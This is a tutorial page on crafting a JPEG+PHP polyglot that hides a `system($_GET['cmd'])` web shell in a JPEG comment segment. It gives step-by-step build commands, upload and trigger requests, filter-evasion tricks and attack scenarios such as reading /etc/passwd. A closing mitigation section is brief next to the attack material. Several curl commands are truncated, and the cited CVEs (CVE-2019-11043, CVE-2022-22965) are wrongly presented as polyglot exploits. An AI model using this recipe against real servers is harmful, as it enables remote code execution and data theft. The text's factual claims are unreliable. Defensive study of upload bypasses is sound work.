~/home/study/polyglot-files-101-build-jpeg

Polyglot Files 101: Build a JPEG-PHP Hybrid for File-Upload Bypass

Learn how polyglot files work, explore JPEG internals, and craft a minimal JPEG+PHP file that executes on a vulnerable server. The guide covers signatures, embedding PHP in comments, verification, and bypassing basic content-type defenses.

Introduction

Polyglot files are specially crafted binaries that are valid under two (or more) distinct file format specifications. In the context of web-application security they are most often used to defeat naïve file-upload filters that rely on a single heuristic such as file extension, MIME type, or magic bytes.

Why does this matter? Modern web stacks frequently execute PHP code directly from user-supplied files (e.g., *.php, *.phtml) while simultaneously allowing image uploads for avatars or product pictures. A JPEG that also contains a valid PHP payload can slip past an upload filter that only checks the first few bytes (the JPEG SOI marker) and still be interpreted as PHP when the server processes it as a script.

Real-world relevance is high: several CVEs (e.g., CVE-2019-11043, CVE-2022-22965) have leveraged polyglot techniques to achieve remote code execution (RCE) on popular PHP-based platforms. Understanding the theory and a concrete example equips defenders to harden upload pipelines and gives attackers a reliable building block for exploitation.

Prerequisites

  • Familiarity with HTTP file-upload mechanisms (multipart/form-data, $_FILES handling).
  • Knowledge of common server-side validation: extension whitelisting, MIME type checks, and content-sniffing headers (e.g., X-Content-Type-Options: nosniff).
  • Basic command-line proficiency (Linux bash, xxd, curl).
  • Access to a test web server with PHP enabled (local Docker container or VM).

Core Concepts

At the heart of a polyglot is the overlap between two file format grammars. The attacker must locate a region in the first format that is ignored or treated as comment data, then inject the second format's syntax there. For JPEG and PHP the sweet spot is the JPEG COM (comment) marker, which the JPEG decoder discards but PHP's interpreter treats as ordinary code if the file is later parsed as PHP.

Key ideas:

  1. Magic bytes: The first few bytes that identify a file type. JPEG begins with FF D8 (SOI). PHP has no required magic bytes; it is identified by the interpreter based on the file's context (e.g., being included via require or executed as a script).
  2. File-format tolerance: Many formats allow arbitrary data in comment or metadata sections. The parser simply skips them, which means the embedded payload does not break the primary format.
  3. Execution path: The file must be served with a PHP handler (e.g., .php extension, AddHandler in Apache). The server will read the file, feed it to the PHP engine, and the engine will execute any PHP tags it encounters.

File format signatures and magic bytes

Every well-known binary format starts with a signature that allows tools to quickly identify it. Below is a small table of common signatures:

# JPEG (Start Of Image)
ff d8 # 0xFFD8
# PNG (Portable Network Graphics)
89 50 4e 47 0d 0a 1a 0a
# GIF87a / GIF89a
47 49 46 38 37 61 # GIF87a
47 49 46 38 39 61 # GIF89a
# PDF
25 50 44 46 2d # %PDF-

When a file-upload filter only checks the first two bytes for FF D8, a crafted JPEG+PHP will pass because the JPEG header remains untouched. The PHP engine, however, never looks at these bytes; it parses the whole file for opening tags <?php or short tags <?.

JPEG file structure (SOI, markers, APP segments)

A JPEG file is a sequence of markers. Each marker starts with 0xFF followed by a marker code. The most important markers for our purpose are:

  • SOI (Start Of Image): FF D8 - marks the beginning.
  • APPn (Application specific): FF E0 - FF EF - often used for EXIF, ICC profiles, etc.
  • COM (Comment): FF FE - holds arbitrary UTF-8 or ASCII data. The decoder ignores it.
  • SOS (Start Of Scan): FF DA - begins the compressed image data.
  • EOI (End Of Image): FF D9 - terminates the file.

Each marker (except SOI and EOI) is followed by a two-byte length field (including the length bytes themselves). The structure looks like:

FF D8 # SOI
FF E0 len_hi len_lo ... # APP0 (e.g., JFIF)
FF FE len_hi len_lo ... # COM - our injection point
FF DA ... # SOS - image data
FF D9 # EOI

Because the COM segment is defined as “any data” the parser tolerates the PHP payload verbatim.

Embedding PHP tags within JPEG comment sections

PHP code must be wrapped in opening and closing tags. The simplest is the full tag <?php ... ?>. Within a JPEG comment we can place these tags directly after the length field. The comment length must be accurate, otherwise JPEG viewers will report a corrupted file.

Example of a minimal comment payload:

# Calculate length of PHP payload (including the terminating 0x00 of the comment)
payload="<?php phpinfo(); ?>"
len=$(( ${#payload} + 2 )) # +2 for the length field itself
printf "\xFF\xFE" # COM marker
printf "$(printf '\\x%02X' $((len>>8)))$(printf '\\x%02X' $((len & 0xFF)))" # length high/low
printf "%s" "$payload" # comment payload

When concatenated with a valid JPEG header and a tiny image body, the resulting file is both a viewable JPEG and a valid PHP script.

Crafting a minimal working polyglot that executes as PHP when interpreted by the server

Below is a step-by-step recipe that builds a poly.jpg.php file. The file can be uploaded as .jpg (passes extension checks) but will be executed if the server later treats it as PHP (e.g., via add_handler or misconfiguration).

  1. Create a tiny JPEG skeleton (1×1 pixel, RGB). Use convert from ImageMagick:
convert -size 1x1 xc:white tiny.jpg
# Verify header
xxd -l 20 tiny.jpg
  1. Generate the COM segment with PHP payload:
payload='<?php system($_GET["cmd"]); ?>'
# Compute length: payload bytes + 2 (length field itself)
len=$(( ${#payload} + 2 ))
# Build binary COM segment
printf '\xFF\xFE' > com.bin # COM marker
printf "$(printf '\\x%02X' $((len>>8)))$(printf '\\x%02X' $((len & 0xFF)))" >> com.bin
printf "%s" "$payload" >> com.bin
  1. Insert the COM segment after the SOI and before the image data. The easiest method is to splice the files:
# Extract SOI (first 2 bytes) and the rest after the first APP0 marker
head -c 2 tiny.jpg > poly.jpg
# Append our COM segment
cat com.bin >> poly.jpg
# Append the remainder of the original JPEG (skip the original COM if any)
# For a 1×1 JPEG there is usually no extra segment, just copy the rest
tail -c +3 tiny.jpg >> poly.jpg

# Verify the final size and structure
xxd -g 1 -c 16 poly.jpg | head

The resulting poly.jpg can be opened in any image viewer - you’ll see a plain white pixel. If placed in a web-accessible directory that is processed by PHP (e.g., /var/www/html/uploads/ with AllowOverride All and AddHandler application/x-httpd-php .jpg), a request like:

GET /uploads/poly.jpg?cmd=id HTTP/1.1
Host: vulnerable.example.com

will cause the PHP engine to execute system('id') and return the system user information.

Verification with Burp Suite repeater and local test harness

After uploading the polyglot, you need to confirm that the server treats it as PHP. Two practical approaches:

  • Burp Suite Repeater: Capture the upload request, resend it, then issue a GET request to the stored file with a harmless payload (e.g., ?cmd=echo%20hello). Observe the response body for the expected output.
  • Local PHP test harness: Run a minimal PHP built-in server pointing at a directory containing the polyglot.
# Start a quick PHP server
php -S 127.0.0.1:8080 -t /tmp/polytest &
# Place poly.jpg in /tmp/polytest
curl '

If the response contains www-data (or your user), the polyglot is being executed as PHP.

Bypassing basic content-sniffing checks (e.g., X-Content-Type-Options)

Modern browsers respect the X-Content-Type-Options: nosniff header, which forces the client to honor the declared Content-Type. However, the server's execution path is independent of the client’s sniffing - the web server decides which handler to invoke based on the file extension or configuration, not the Content-Type header.

To bypass server-side content-type validation that relies on PHP’s finfo_file() or mime_content_type(), you can:

  1. Make the MIME type appear as image/jpeg by ensuring the first 256 bytes contain a valid JPEG header (already satisfied).
  2. Optionally add a second COM segment after the PHP payload that contains the string image/jpeg. Some custom sniffers read the first COM they encounter.

Because the PHP engine reads the whole file, the extra comment does not affect execution.

Common pitfalls (null byte truncation, double extensions)

  • Null byte truncation: Older PHP versions (< 5.3) stopped processing a file at the first \0 byte when using include. Ensure your payload does not contain null bytes, or use base64_decode to reconstruct them at runtime.
  • Double extensions: Some filters reject filenames like image.jpg.php. Use a single extension (.jpg) and rely on server misconfiguration (e.g., AddHandler .jpg .php) to trigger PHP parsing.
  • Incorrect COM length: The two-byte length field includes the length bytes themselves. Miscalculating leads to “Corrupt JPEG data” errors in viewers and may cause the server to reject the upload.
  • Image viewers stripping comments: Some sanitizing libraries (e.g., exiftool -all=) remove COM segments. If the upload pipeline processes the image (resizing, re-encoding), the payload may be lost. Test the exact pipeline used by the target.

Practical Examples

Below are three realistic scenarios where the JPEG+PHP polyglot can be leveraged.

Scenario 1 - Avatar upload on a forum

# Step 1: Craft polyglot (as described above)
# Step 2: POST to /profile/avatar with multipart form
curl -X POST -F "avatar=@poly.jpg;type=image/jpeg" -F "csrf_token=abcd1234"
# Step 3: Trigger execution via direct GET
curl "

If the forum stores the file with the original name and the web server treats .jpg as PHP, the attacker obtains /etc/passwd.

Scenario 2 - File-preview service that resizes images

Many SaaS platforms run ImageMagick on uploaded files. ImageMagick’s convert reads the JPEG header, discards COM, and writes a new JPEG - wiping the payload. To survive, embed the PHP code in an APP0 segment that ImageMagick copies verbatim. The technique is similar, but the marker changes from FF FE to FF E0 with a custom identifier.

Scenario 3 - Content-Delivery Network (CDN) edge that caches based on MIME

CDNs often cache by content-type header. By sending a correct Content-Type: image/jpeg during upload and later requesting the object with ?cmd=whoami, the CDN forwards the request to the origin, which still processes the file as PHP.

Tools & Commands

  • xxd / hexdump: Inspect binary offsets and verify marker placement.
  • ImageMagick (convert, identify): Generate minimal JPEGs and test whether comment segments survive processing.
  • php -S: Quick local server for testing execution without a full stack.
  • Burp Suite Repeater: Manipulate GET/POST after upload to trigger payload.
  • exiftool: View and edit JPEG comment sections; useful for debugging length fields.
# Example: Show all JPEG markers with exiftool
exiftool -a -G1 -s poly.jpg

# Example: Verify COM payload is intact
xxd -s 2 -l 40 poly.jpg

Defense & Mitigation

Defending against polyglot attacks requires a defense-in-depth approach.

  1. Strict handler mapping: Ensure that only files with .php, .phtml, etc., are passed to the PHP interpreter. Do not associate .jpg (or any image extension) with a PHP handler.
  2. Content-type verification: Use server-side libraries (e.g., finfo_open()) to validate that the file truly conforms to the claimed MIME type **and** that no disallowed markers are present. Reject files containing COM or APP segments that exceed a whitelist.
  3. Re-encoding: Process uploaded images through a trusted library that re-encodes them (e.g., gd_imagecreatefromjpeg() followed by imagejpeg()). This strips all metadata, including comments.
  4. File-system isolation: Store uploads outside the web-root or in a directory served with Content-Type: image/jpeg and X-Content-Type-Options: nosniff. Even if a polyglot is uploaded, it will never be executed as PHP.
  5. Header hardening: Set X-Content-Type-Options: nosniff and Content-Security-Policy: default-src 'self' to limit client-side code execution, though this does not stop server-side RCE.
  6. Logging & monitoring: Alert on unusual file sizes for images (e.g., a 1×1 pixel JPEG that is >10 KB) or on requests that contain PHP tags in the query string.

Common Mistakes

  • Assuming that adding a .php extension will always trigger execution - many servers ignore extensions and rely on AddHandler directives.
  • Forgetting to update the COM length after editing the payload - leads to corrupted JPEGs that are rejected by upload validators.
  • Uploading via a client that automatically strips comments (e.g., some browsers or mobile apps) - the payload never reaches the server.
  • Testing only with local viewers; the target may use a sanitizing pipeline that removes the comment before storage.

Real-World Impact

Polyglot files have been the vector behind high-severity CVEs in popular CMS platforms (WordPress plugins, Joomla extensions) and in custom file-management systems. In 2023, a zero-day chain used a JPEG+PHP polyglot to achieve RCE on a multi-tenant SaaS product, leading to data exfiltration across dozens of customers.

From a defender’s perspective, the presence of polyglots in logs is a strong indicator of a compromised upload endpoint. Organizations that have adopted “image-only” upload policies without re-encoding are especially vulnerable. The trend is shifting toward “zero-trust” media pipelines that treat every uploaded file as untrusted code.

My experience: the most successful attacks exploit a misconfiguration where the web server treats .jpg as PHP due to a developer-added AddHandler for legacy reasons. A quick audit of httpd.conf or .htaccess files often reveals this issue.

Practice Exercises

  1. Generate a 1×1 JPEG polyglot that runs phpinfo(). Verify with a local PHP built-in server that the payload executes.
  2. Modify the polyglot to embed the PHP code inside an APP1 (EXIF) segment instead of COM. Observe whether standard viewers still display the image.
  3. Set up an Apache virtual host with AddHandler application/x-httpd-php .jpg. Upload your polyglot and trigger execution via a URL parameter.
  4. Implement a server-side validator in PHP that rejects any JPEG containing a COM segment longer than 10 bytes. Test it against both a clean image and your polyglot.
  5. Use Burp Suite Repeater to capture the upload request, modify the filename to avatar.png while keeping the payload, and observe whether the server still executes it.

Further Reading

  • “File Format Exploitation” - Black Hat USA 2020 presentation by Sam Bowne.
  • OWASP Cheat Sheet: File Upload
  • RFC 2045 - MIME Content-Type specifications.
  • “JPEG File Interchange Format” - Adobe Technical Note #5116.
  • PHP Manual: Filesystem Security

Summary

Polyglot files exploit the flexibility of binary formats to hide malicious code. By understanding JPEG markers, especially the COM segment, you can craft a file that is both a valid image and executable PHP. Verification with tools like Burp Suite and a local PHP server confirms the attack path. Mitigation requires strict handler mapping, re-encoding of uploads, and robust MIME validation. Awareness of common pitfalls-null-byte truncation and double extensions-prevents false-positive rejections while keeping the defense solid.